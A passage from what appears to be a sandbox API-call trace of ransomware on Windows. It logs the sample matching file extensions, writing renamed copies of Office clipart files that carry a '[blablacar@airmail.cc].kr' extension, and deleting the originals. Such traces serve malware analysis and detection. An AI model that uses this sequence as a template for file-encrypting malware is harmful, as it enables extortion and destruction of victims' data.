(lpString1=".jpg", lpString2=".WMF") returned -1 [0209.319] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0209.319] lstrlenW (lpString="J0106020.WMF") returned 12 [0209.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0209.387] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10060) returned 1 [0209.387] CloseHandle (hObject=0x3e4) returned 1 [0209.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220 [0209.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0209.708] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.708] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0209.944] GetLastError () returned 0x0 [0209.944] ReadFile (in: hFile=0x450, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x274c, lpOverlapped=0x0) returned 1 [0209.946] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2750, lpOverlapped=0x0) returned 1 [0209.947] ReadFile (in: hFile=0x450, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.947] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.947] SetEndOfFile (hFile=0x51c) returned 1 [0209.947] CloseHandle (hObject=0x51c) returned 1 [0209.947] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.947] SetEndOfFile (hFile=0x450) returned 1 [0209.950] CloseHandle (hObject=0x450) returned 1 [0209.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0209.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.951] lstrlenW (lpString=".doc") returned 4 [0209.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.951] lstrlenW (lpString=".docx") returned 5 [0209.951] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.951] lstrlenW (lpString=".pdf") returned 4 [0209.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.951] lstrlenW (lpString=".xls") returned 4 [0209.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.952] lstrlenW (lpString=".xlsx") returned 5 [0209.952] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.952] lstrlenW (lpString=".ppt") returned 4 [0209.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.952] lstrlenW (lpString=".zip") returned 4 [0209.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.952] lstrlenW (lpString=".rar") returned 4 [0209.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.952] lstrlenW (lpString=".bz2") returned 4 [0209.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.952] lstrlenW (lpString=".7z") returned 3 [0209.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.952] lstrlenW (lpString=".dbf") returned 4 [0209.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.952] lstrlenW (lpString=".1cd") returned 4 [0209.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.952] lstrlenW (lpString=".jpg") returned 4 [0209.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.952] lstrlenW (lpString=".doc") returned 4 [0209.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.952] lstrlenW (lpString=".docx") returned 5 [0209.952] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.952] lstrlenW (lpString=".pdf") returned 4 [0209.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.952] lstrlenW (lpString=".xls") returned 4 [0209.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.952] lstrlenW (lpString=".xlsx") returned 5 [0209.953] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.953] lstrlenW (lpString=".ppt") returned 4 [0209.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.953] lstrlenW (lpString=".zip") returned 4 [0209.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.953] lstrlenW (lpString=".rar") returned 4 [0209.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.953] lstrlenW (lpString=".bz2") returned 4 [0209.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.953] lstrlenW (lpString=".7z") returned 3 [0209.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.953] lstrlenW (lpString=".dbf") returned 4 [0209.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.953] lstrlenW (lpString=".1cd") returned 4 [0209.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0209.953] lstrlenW (lpString=".jpg") returned 4 [0209.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.953] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0209.953] lstrlenW (lpString="J0106124.WMF") returned 12 [0209.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0209.954] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5812) returned 1 [0209.954] CloseHandle (hObject=0x450) returned 1 [0209.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220 [0209.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0209.955] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.955] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0209.956] GetLastError () returned 0x0 [0209.956] ReadFile (in: hFile=0x450, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x16b4, lpOverlapped=0x0) returned 1 [0209.957] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x16c0, lpOverlapped=0x0) returned 1 [0209.958] ReadFile (in: hFile=0x450, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.958] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.958] SetEndOfFile (hFile=0x51c) returned 1 [0209.959] CloseHandle (hObject=0x51c) returned 1 [0209.959] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.959] SetEndOfFile (hFile=0x450) returned 1 [0209.961] CloseHandle (hObject=0x450) returned 1 [0209.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0209.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.962] lstrlenW (lpString=".doc") returned 4 [0209.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.962] lstrlenW (lpString=".docx") returned 5 [0209.962] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0209.962] lstrlenW (lpString=".pdf") returned 4 [0209.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.962] lstrlenW (lpString=".xls") returned 4 [0209.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.962] lstrlenW (lpString=".xlsx") returned 5 [0209.962] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0209.963] lstrlenW (lpString=".ppt") returned 4 [0209.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.963] lstrlenW (lpString=".zip") returned 4 [0209.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.963] lstrlenW (lpString=".rar") returned 4 [0209.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.963] lstrlenW (lpString=".bz2") returned 4 [0209.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.963] lstrlenW (lpString=".7z") returned 3 [0209.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.963] lstrlenW (lpString=".dbf") returned 4 [0209.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.963] lstrlenW (lpString=".1cd") returned 4 [0209.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.963] lstrlenW (lpString=".jpg") returned 4 [0209.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.963] lstrlenW (lpString=".doc") returned 4 [0209.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.963] lstrlenW (lpString=".docx") returned 5 [0209.963] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0209.963] lstrlenW (lpString=".pdf") returned 4 [0209.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.963] lstrlenW (lpString=".xls") returned 4 [0209.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.963] lstrlenW (lpString=".xlsx") returned 5 [0209.963] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0209.964] lstrlenW (lpString=".ppt") returned 4 [0209.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.964] lstrlenW (lpString=".zip") returned 4 [0209.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.964] lstrlenW (lpString=".rar") returned 4 [0209.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.964] lstrlenW (lpString=".bz2") returned 4 [0209.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.964] lstrlenW (lpString=".7z") returned 3 [0209.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.964] lstrlenW (lpString=".dbf") returned 4 [0209.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.964] lstrlenW (lpString=".1cd") returned 4 [0209.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0209.964] lstrlenW (lpString=".jpg") returned 4 [0209.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.964] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0209.964] lstrlenW (lpString="J0106146.WMF") returned 12 [0209.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0209.965] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=23548) returned 1 [0209.965] CloseHandle (hObject=0x450) returned 1 [0209.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220 [0209.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0209.965] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.966] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0209.966] GetLastError () returned 0x0 [0209.966] ReadFile (in: hFile=0x450, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x5bfc, lpOverlapped=0x0) returned 1 [0210.262] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x5c00, lpOverlapped=0x0) returned 1 [0210.297] ReadFile (in: hFile=0x450, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.297] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.297] SetEndOfFile (hFile=0x51c) returned 1 [0210.297] CloseHandle (hObject=0x51c) returned 1 [0210.297] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.297] SetEndOfFile (hFile=0x450) returned 1 [0210.300] CloseHandle (hObject=0x450) returned 1 [0210.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0210.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.573] lstrlenW (lpString=".doc") returned 4 [0210.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.573] lstrlenW (lpString=".docx") returned 5 [0210.573] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.573] lstrlenW (lpString=".pdf") returned 4 [0210.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.573] lstrlenW (lpString=".xls") returned 4 [0210.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.574] lstrlenW (lpString=".xlsx") returned 5 [0210.574] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.574] lstrlenW (lpString=".ppt") returned 4 [0210.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.574] lstrlenW (lpString=".zip") returned 4 [0210.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.574] lstrlenW (lpString=".rar") returned 4 [0210.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.574] lstrlenW (lpString=".bz2") returned 4 [0210.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.574] lstrlenW (lpString=".7z") returned 3 [0210.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.574] lstrlenW (lpString=".dbf") returned 4 [0210.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.574] lstrlenW (lpString=".1cd") returned 4 [0210.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.574] lstrlenW (lpString=".jpg") returned 4 [0210.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.574] lstrlenW (lpString=".doc") returned 4 [0210.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.574] lstrlenW (lpString=".docx") returned 5 [0210.574] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.574] lstrlenW (lpString=".pdf") returned 4 [0210.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.574] lstrlenW (lpString=".xls") returned 4 [0210.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.575] lstrlenW (lpString=".xlsx") returned 5 [0210.575] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.575] lstrlenW (lpString=".ppt") returned 4 [0210.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.575] lstrlenW (lpString=".zip") returned 4 [0210.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.575] lstrlenW (lpString=".rar") returned 4 [0210.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.575] lstrlenW (lpString=".bz2") returned 4 [0210.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.575] lstrlenW (lpString=".7z") returned 3 [0210.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.575] lstrlenW (lpString=".dbf") returned 4 [0210.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.575] lstrlenW (lpString=".1cd") returned 4 [0210.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0210.575] lstrlenW (lpString=".jpg") returned 4 [0210.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.575] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0210.575] lstrlenW (lpString="J0107024.WMF") returned 12 [0210.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.621] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3020) returned 